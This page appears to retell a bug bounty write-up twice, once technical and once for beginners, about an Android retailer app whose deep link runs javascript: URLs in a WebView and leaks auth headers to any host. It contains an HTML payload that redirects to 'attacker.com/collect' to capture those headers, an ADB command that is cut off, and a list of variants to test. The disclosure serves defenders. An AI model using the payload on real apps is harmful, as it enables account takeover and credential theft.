Skip to content
Account takeover Write-up Intermediate

One Deep Link, Zero Validation, Full ATO (Again)

An Android app's deep link opened a WebView with JavaScript enabled and no validation of the URL scheme, so a javascript: URL could run code inside the WebView. Because intercepted main-frame requests were re-issued with the user's authentication headers and no domain whitelist, that code could redirect to an attacker's server and leak the headers, giving full account takeover.

medium.com

Published on medium.com

Bug Bounty

abdelnasser, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The target is the Android app of a major European electronics retailer. The app registers a deep link handler on SplashActivity that routes redacted-scheme://webview?url=<URL> to a generic WebViewFragment. That fragment is the feature under discussion: it takes whatever URL arrives in the url parameter and loads it in a WebView with JavaScript enabled.

The author describes this as one of the easiest bugs they keep finding across multiple apps, and notes having reported this same bug before, where it was closed as a duplicate. The original report was marked as resolved, but the bug was still present. After a notification to retest, the author confirmed it still worked on the latest version and reported it again: same bug, same impact, still alive.

Setup

The write-up does not describe accounts or roles; it only refers to testing on the latest version. The tools implied by the text are a browser or page under the attacker's control (to serve the redirect), the Android app itself, and ADB for confirming JavaScript execution. The precondition for the full attack is a victim who clicks a link to a page that redirects into the app.

Finding it

The deep link takes a URL from an untrusted source and hands it straight to a WebView. Two things make that dangerous here:

  1. There is zero scheme validation on the url parameter, so javascript: can be passed as the scheme and the WebView executes it.
  2. The shouldInterceptRequest implementation re-issues every main-frame GET request loaded in this WebView through OkHttp, and the OkHttp interceptors inject the user's authentication headers into the request. There is no domain whitelist.

Together, injected JavaScript can redirect the WebView to an attacker's server, and the auth headers go with it.

Exploitation

Step 1: Confirm the WebView loads arbitrary URLs with JavaScript on

The fragment loads whatever URL is in the url parameter with JavaScript enabled and no scheme validation:

settings.setJavaScriptEnabled(true);settings.setDomStorageEnabled(true);webView.loadUrl(url, headers);

setJavaScriptEnabled(true) means a javascript: URL passed through the deep link will be executed rather than treated as an inert string. loadUrl receives the attacker-controlled url unchanged.

Step 2: Note that the WebViewClient does not validate URLs

The WebViewClient has no URL validation at all. Its shouldOverrideUrlLoading only checks whether the new URL differs from the current one:

public boolean shouldOverrideUrlLoading(WebView webView, WebResourceRequest request) {    boolean sameUrl = equals(webView.getUrl(), request.getUrl().toString());    if (!sameUrl) {        this.handler.emit(new Event(request.getUrl().toString()));    }    return !sameUrl;}

The only decision made is sameUrl. A navigation to any new URL is emitted as an event, and the method returns true when the URL changed.

Step 3: Confirm JavaScript execution via ADB

JavaScript execution can be confirmed with ADB:

adb shell am start -a android.intent.action.VIEW \  -d 'redacted-scheme:

This starts the deep link through the Android intent system.

Step 4: Deliver the payload through a redirecting page

For the full attack, the victim clicks a link to a page that redirects into the app:

HTML
<script>  window.location.href = "redacted-scheme://webview?url="    + "javascript:location.href='https://attacker.com/collect'";</script>

The page sets window.location.href to the app's deep link, with the url parameter set to a javascript: payload. The payload itself is location.href='https://attacker.com/collect', so once the WebView executes it, the WebView navigates to the attacker's server.

Step 5: The auth headers follow the redirect

The javascript: payload executes in the WebView and redirects to the attacker's server. The shouldInterceptRequest fires, re-issues the request through OkHttp with the victim's authentication headers attached, and the attacker receives them.

From the original on medium.com

The interception logic in the base AuthenticatedWebViewClient is what makes this an account takeover rather than a simple open redirect:

shouldInterceptRequest(webView, request):  - if not main frame → skip  - if URL starts with "data:" → skip  - if method is POST → skip  - otherwise → re-issue via OkHttp (adds auth headers)  - NO DOMAIN WHITELIST

The attacker's redirect is a main-frame GET, does not start with data:, and is not a POST, so it falls through to the OkHttp re-issue, which adds the authentication headers. The request is re-issued with the victim's credentials attached, and the attacker receives them. One click, full account takeover.

Root cause

Two mistakes combine:

  • The deep link handler passes the url parameter to webView.loadUrl without validating the scheme, so javascript: is accepted and executed.
  • shouldInterceptRequest in AuthenticatedWebViewClient re-issues every main-frame GET through OkHttp, which injects authentication headers, without any domain whitelist.

The WebViewClient offers no protection because shouldOverrideUrlLoading only compares the new URL with the current one and does not restrict where navigation may go. The skip conditions in shouldInterceptRequest (non-main-frame, data:, POST) do not cover a main-frame GET to an attacker-controlled host, which is exactly what the payload produces.

Impact

An attacker who gets a victim to click a crafted link can execute JavaScript in the app's WebView and redirect it to a server they control. Because the intercepted request is re-issued with the victim's authentication headers, the attacker receives those headers. The author characterises the result as full account takeover with one click. The attack requires the victim to click the link.

Fix

The report states the fixes as guidance rather than describing a change that was made: always validate the URL scheme before loading it in a WebView, and, if requests are intercepted to inject auth headers, whitelist the domains first.

Variants to test

  • Other scheme payloads. Try javascript: values in the url parameter of any scheme://webview?url= style deep link. A positive result is the WebView executing script or rendering attacker-supplied content instead of rejecting the URL.
  • Header injection through redirects. On apps that intercept WebView requests to add auth headers, point the WebView at an attacker-controlled host and watch for the request arriving with the victim's headers. A positive result is your server receiving authentication headers it should never see.
  • Navigation checks that only compare URLs. Look for shouldOverrideUrlLoading implementations that only test whether the URL changed, as here. A positive result is an off-domain navigation being allowed through.
  • Deep links into generic fragments. Enumerate deep links that route to shared WebView fragments and pass external URLs. A positive result is any fragment that loads an arbitrary URL with JavaScript enabled and no scheme or host validation.
  • Retesting resolved reports. Where a report was closed as resolved or duplicate, retest on the latest version. A positive result is the same behaviour still reproducing, as it did here.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A large European electronics retailer has an Android app. Inside that app there is a small built-in browser window, called a WebView, that can show web pages without leaving the app. The app lets other things open that window through a special kind of link, called a deep link, which looks like redacted-scheme://webview?url=<URL>. Whatever web address sits in the url part of that link gets loaded in the window.

The app never checks what kind of address it is being handed. Normally a web address starts with https://, but there are other kinds of address too, and one of them, javascript:, tells the window to run a piece of code instead of showing a page. Because nothing checks the address, an attacker can put javascript: code in the link, and the app will run it.

That alone would be bad but limited. The bigger problem is what the app does with every page the window loads. It quietly re-sends each request through its own networking code, and that code attaches the logged-in user's authentication headers, the proof that the request comes from that user, to every request. There is no list of trusted websites. So when the attacker's code tells the window to go to the attacker's server, the app sends the user's proof of identity along with it. The attacker receives it and can act as the user. One click, full account takeover.

The author had reported this exact bug before. It was closed as a duplicate, and the original report was marked as resolved, but the bug was still there. After a notification to retest, the author confirmed it still worked on the latest version and reported it again. Same bug, same impact, still alive.

The app and the feature involved

A few words first, because the rest of the article depends on them.

  • Android app: a program installed on a phone running Google's Android operating system.
  • WebView: a mini browser built into an app. Instead of sending you to Chrome or Firefox, the app shows a web page inside its own window. Think of it as a small television inside a room: the picture comes from outside, but it is displayed on the room's own screen.
  • Deep link: a link that opens a specific place inside an app rather than a website. If a normal web link is an address on the street, a deep link is a door directly into one room of one building. Apps announce which deep links they accept, and the phone hands the link to the right app when someone taps it.
  • SplashActivity: the first screen an Android app shows when it starts, usually a logo or loading screen. Here it is also the place where the app listens for incoming deep links.
  • WebViewFragment: a reusable piece of app screen that contains a WebView. "Generic" means it is not built for one particular page; it will display whatever address it is given.
  • Parameter: the part of a link after the question mark that carries a value. In redacted-scheme://webview?url=<URL>, the parameter is named url and its value is <URL>.
  • Scheme: the first part of an address, before the colon. https in https://example.com is a scheme. javascript in javascript:... is also a scheme, and it means "run this as code" rather than "fetch this page".
  • JavaScript: the programming language that web pages use to make things happen in a browser, such as moving to another page or reading what you typed.
  • Authentication headers: small pieces of text that a browser or app attaches to a request to prove who is asking. A header is like the return address and signature on an envelope; an authentication header is the signature that says "this request is from a logged-in user".
  • Token or cookie: the actual value inside that proof. A cookie is a small piece of data a site stores in your browser; a token is a similar value used by apps. Either one, in the wrong hands, lets someone else act as you, much like a hotel key card left on a table.
  • Account takeover (ATO): when an attacker gains control of someone else's account, here by stealing the proof of identity rather than guessing a password.
  • OkHttp: a popular library (a bundle of ready-made code) that Android apps use to make network requests. The app's WebView does not fetch pages itself; it hands the job to OkHttp.
  • Interceptor: a hook in OkHttp that runs on every request before it leaves the app. Apps use interceptors to add headers automatically, for example the authentication headers.
  • shouldInterceptRequest: a method (a named block of code) that Android calls whenever the WebView is about to fetch something. The app can step in and fetch it itself instead.
  • shouldOverrideUrlLoading: a method Android calls when the WebView is about to navigate to a new address. The app can allow it, block it, or handle it differently.
  • Main frame: the top-level page in the window, as opposed to a small embedded frame inside it. If the window is a picture frame, the main frame is the big picture, not the small inset.
  • GET and POST: two kinds of HTTP request. GET asks for something ("give me this page"); POST sends data to the server ("here is my form").
  • Whitelist: an explicit list of things that are allowed. Everything not on the list is refused.
  • ADB: Android Debug Bridge, a command-line tool that lets a computer talk to an Android phone or emulator, for testing and development.

The author calls this one of the easiest bugs they keep finding across multiple apps.

Finding it

The deep link takes an address from an untrusted source, whoever sends the link, and hands it straight to the WebView. Two things make that dangerous here:

  1. There is zero scheme validation on the url parameter. The app does not check whether the address starts with https:// or something else, so javascript: can be passed as the scheme and the WebView executes it.
  2. The shouldInterceptRequest implementation re-issues every main-frame GET request loaded in this WebView through OkHttp, and the OkHttp interceptors inject the user's authentication headers into the request. There is no domain whitelist.

Together, injected JavaScript can redirect the WebView to an attacker's server, and the auth headers go with it. The first issue is like a receptionist who lets anyone into the building; the second is like the building's internal mail system stamping every outgoing letter with the company seal, wherever it is addressed.

Exploitation

Step 1: Confirm the WebView loads arbitrary URLs with JavaScript on

The fragment loads whatever URL is in the url parameter with JavaScript enabled and no scheme validation:

Java
settings.setJavaScriptEnabled(true);settings.setDomStorageEnabled(true);webView.loadUrl(url, headers);

Line by line:

  • settings.setJavaScriptEnabled(true); turns JavaScript on for this WebView. This is the switch that makes a javascript: address dangerous: with JavaScript off, such an address would be treated as an inert piece of text; with it on, the code runs.
  • settings.setDomStorageEnabled(true); turns on a storage feature that lets web pages keep small amounts of data in the WebView. It is a normal setting for pages that need to remember things, and it shows the WebView is configured to behave like a real browser.
  • webView.loadUrl(url, headers); tells the WebView to load the address in url, passing along some headers. The important detail is that url arrives from the deep link unchanged. Nothing in this snippet checks what kind of address it is.

Why this step matters: before going further, the author needs to establish that the window will load an address chosen by someone else and that it will run JavaScript. Both are visible right here.

Step 2: Note that the WebViewClient does not validate URLs

The WebViewClient has no URL validation at all. Its shouldOverrideUrlLoading only checks whether the new URL differs from the current one:

Java
public boolean shouldOverrideUrlLoading(WebView webView, WebResourceRequest request) {    boolean sameUrl = equals(webView.getUrl(), request.getUrl().toString());    if (!sameUrl) {        this.handler.emit(new Event(request.getUrl().toString()));    }    return !sameUrl;}

Line by line:

  • public boolean shouldOverrideUrlLoading(WebView webView, WebResourceRequest request) { is the method Android calls whenever the WebView wants to go to a new address. It returns a true or false answer: true means "I handled this myself, do not navigate", false means "go ahead and navigate".
  • boolean sameUrl = equals(webView.getUrl(), request.getUrl().toString()); compares the address the window is currently on with the address it wants to go to, and stores the answer in sameUrl.
  • if (!sameUrl) { runs the next line only when the two addresses are different, that is, when this really is a new navigation.
  • this.handler.emit(new Event(request.getUrl().toString())); sends a notification, an event, containing the new address, so other parts of the app can react to the navigation.
  • return !sameUrl; returns true when the address changed and false when it did not. In practice this means: if it is a new address, the app says it has handled it; if it is the same address, the WebView proceeds.

The only decision made is sameUrl. A navigation to any new URL is emitted as an event, and the method returns true when the URL changed. There is no check of where the address points. This is like a security guard who only checks whether you are a different person from the one who just walked in, not whether you are allowed in at all.

Step 3: Confirm JavaScript execution via ADB

JavaScript execution can be confirmed with ADB:

Bash
adb shell am start -a android.intent.action.VIEW \  -d 'redacted-scheme:

Line by line:

  • adb shell opens a command shell on the connected Android device or emulator from your computer.
  • am start is the Android activity manager's command to start something, here an activity, which is a screen of an app.
  • -a android.intent.action.VIEW sets the action to VIEW, the standard action for "open this thing".
  • -d 'redacted-scheme: passes the data, the deep link itself, so the phone routes it exactly as it would a tapped link.

Why this step matters: it starts the deep link through the Android intent system. If JavaScript runs, the author has proof that the window executes code supplied through the link, without needing a victim yet.

Step 4: Deliver the payload through a redirecting page

For the full attack, the victim clicks a link to a page that redirects into the app:

HTML
<script>  window.location.href = "redacted-scheme://webview?url="    + "javascript:location.href='https://attacker.com/collect'";</script>

Line by line:

  • <script> and </script> mark the start and end of a piece of JavaScript inside a web page.
  • window.location.href = ... tells the browser to go to a new address. This is the redirect: the victim lands on the attacker's page, and the page immediately sends the browser somewhere else.
  • "redacted-scheme://webview?url=" is the first half of the app's deep link, ending right where the address value begins.
  • + "javascript:location.href='https://attacker.com/collect'" glues the second half onto it. The value of the url parameter is now a javascript: address whose code is location.href='https://attacker.com/collect'.
  • ; ends the statement.

So the page sets window.location.href to the app's deep link, with the url parameter set to a javascript: payload. The payload itself is location.href='https://attacker.com/collect', so once the WebView executes it, the WebView navigates to the attacker's server. The victim does nothing except click the first link; the rest happens on its own.

Step 5: The auth headers follow the redirect

The javascript: payload executes in the WebView and redirects to the attacker's server. The shouldInterceptRequest fires, re-issues the request through OkHttp with the victim's authentication headers attached, and the attacker receives them.

From the original on medium.com

The interception logic in the base AuthenticatedWebViewClient is what makes this an account takeover rather than a simple open redirect:

Text
shouldInterceptRequest(webView, request):  - if not main frame → skip  - if URL starts with "data:" → skip  - if method is POST → skip  - otherwise → re-issue via OkHttp (adds auth headers)  - NO DOMAIN WHITELIST

Line by line:

  • shouldInterceptRequest(webView, request): is the method Android calls for every resource the WebView is about to fetch. The app gets a chance to fetch it itself.
  • - if not main frame → skip means small embedded frames are left alone. Only the top-level page is handled here.
  • - if URL starts with "data:" → skip means addresses that carry their content inline, rather than pointing to a server, are left alone.
  • - if method is POST → skip means requests that send data to a server are left alone.
  • - otherwise → re-issue via OkHttp (adds auth headers) means every other request, which includes ordinary page loads, is fetched again by the app's own networking code, and that code attaches the user's authentication headers.
  • - NO DOMAIN WHITELIST means there is no list of trusted hosts. The headers are attached no matter which server the request is for.

The attacker's redirect is a main-frame GET, does not start with data:, and is not a POST, so it falls through to the OkHttp re-issue, which adds the authentication headers. The request is re-issued with the victim's credentials attached, and the attacker receives them. One click, full account takeover. The skip conditions look reasonable at a glance, but none of them covers a normal page load to a host the attacker controls, which is exactly what the payload produces.

Root cause

Two mistakes combine:

  • The deep link handler passes the url parameter to webView.loadUrl without validating the scheme, so javascript: is accepted and executed.
  • shouldInterceptRequest in AuthenticatedWebViewClient re-issues every main-frame GET through OkHttp, which injects authentication headers, without any domain whitelist.

The WebViewClient offers no protection because shouldOverrideUrlLoading only compares the new URL with the current one and does not restrict where navigation may go. The skip conditions in shouldInterceptRequest (non-main-frame, data:, POST) do not cover a main-frame GET to an attacker-controlled host, which is exactly what the payload produces.

Impact

An attacker who gets a victim to click a crafted link can execute JavaScript in the app's WebView and redirect it to a server they control. Because the intercepted request is re-issued with the victim's authentication headers, the attacker receives those headers. The author characterises the result as full account takeover with one click. The attack requires the victim to click the link.

Fix

The report states the fixes as guidance rather than describing a change that was made: always validate the URL scheme before loading it in a WebView, and, if requests are intercepted to inject auth headers, whitelist the domains first.

Variants to test

  • Other scheme payloads. Try javascript: values in the url parameter of any scheme://webview?url= style deep link. A positive result is the WebView executing script or rendering attacker-supplied content instead of rejecting the URL.
  • Header injection through redirects. On apps that intercept WebView requests to add auth headers, point the WebView at an attacker-controlled host and watch for the request arriving with the victim's headers. A positive result is your server receiving authentication headers it should never see.
  • Navigation checks that only compare URLs. Look for shouldOverrideUrlLoading implementations that only test whether the URL changed, as here. A positive result is an off-domain navigation being allowed through.
  • Deep links into generic fragments. Enumerate deep links that route to shared WebView fragments and pass external URLs. A positive result is any fragment that loads an arbitrary URL with JavaScript enabled and no scheme or host validation.
  • Retesting resolved reports. Where a report was closed as resolved or duplicate, retest on the latest version. A positive result is the same behaviour still reproducing, as it did here.

Glossary

  • ADB (Android Debug Bridge): a command-line tool that lets a computer talk to an Android phone or emulator, used for testing and development.
  • Authentication headers: small pieces of text attached to a request to prove who is asking, like a signature on an envelope.
  • Cookie: a small piece of data a website stores in your browser, often used to keep you logged in.
  • GET: an HTTP request that asks for something, such as a page.
  • Header: a named piece of extra information sent with a request or response.
  • Interceptor: a hook in a networking library that runs on every request before it leaves the app, often used to add headers automatically.
  • JavaScript: the programming language web pages use to make things happen in a browser.
  • Main frame: the top-level page in a window, as opposed to a small embedded frame inside it.
  • Method: a named block of code inside a program.
  • OkHttp: a popular library Android apps use to make network requests.
  • Open redirect: a redirect that will send a visitor to any address supplied by the person who made the link.
  • POST: an HTTP request that sends data to a server, such as a form submission.
  • Scheme: the first part of an address, before the colon, such as https or javascript.
  • shouldInterceptRequest: an Android method called whenever a WebView is about to fetch something, letting the app fetch it itself.
  • shouldOverrideUrlLoading: an Android method called when a WebView is about to navigate to a new address, letting the app allow, block or handle it.
  • SplashActivity: the first screen an Android app shows when it starts, which here also listens for incoming deep links.
  • Token: a value used by an app to prove a user is logged in, similar to a cookie.
  • WebView: a mini browser built into an app, showing web pages inside the app's own window.
  • WebViewClient: the Android class that lets an app control what its WebView does, such as handling navigation and requests.
  • Whitelist: an explicit list of things that are allowed, with everything else refused.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.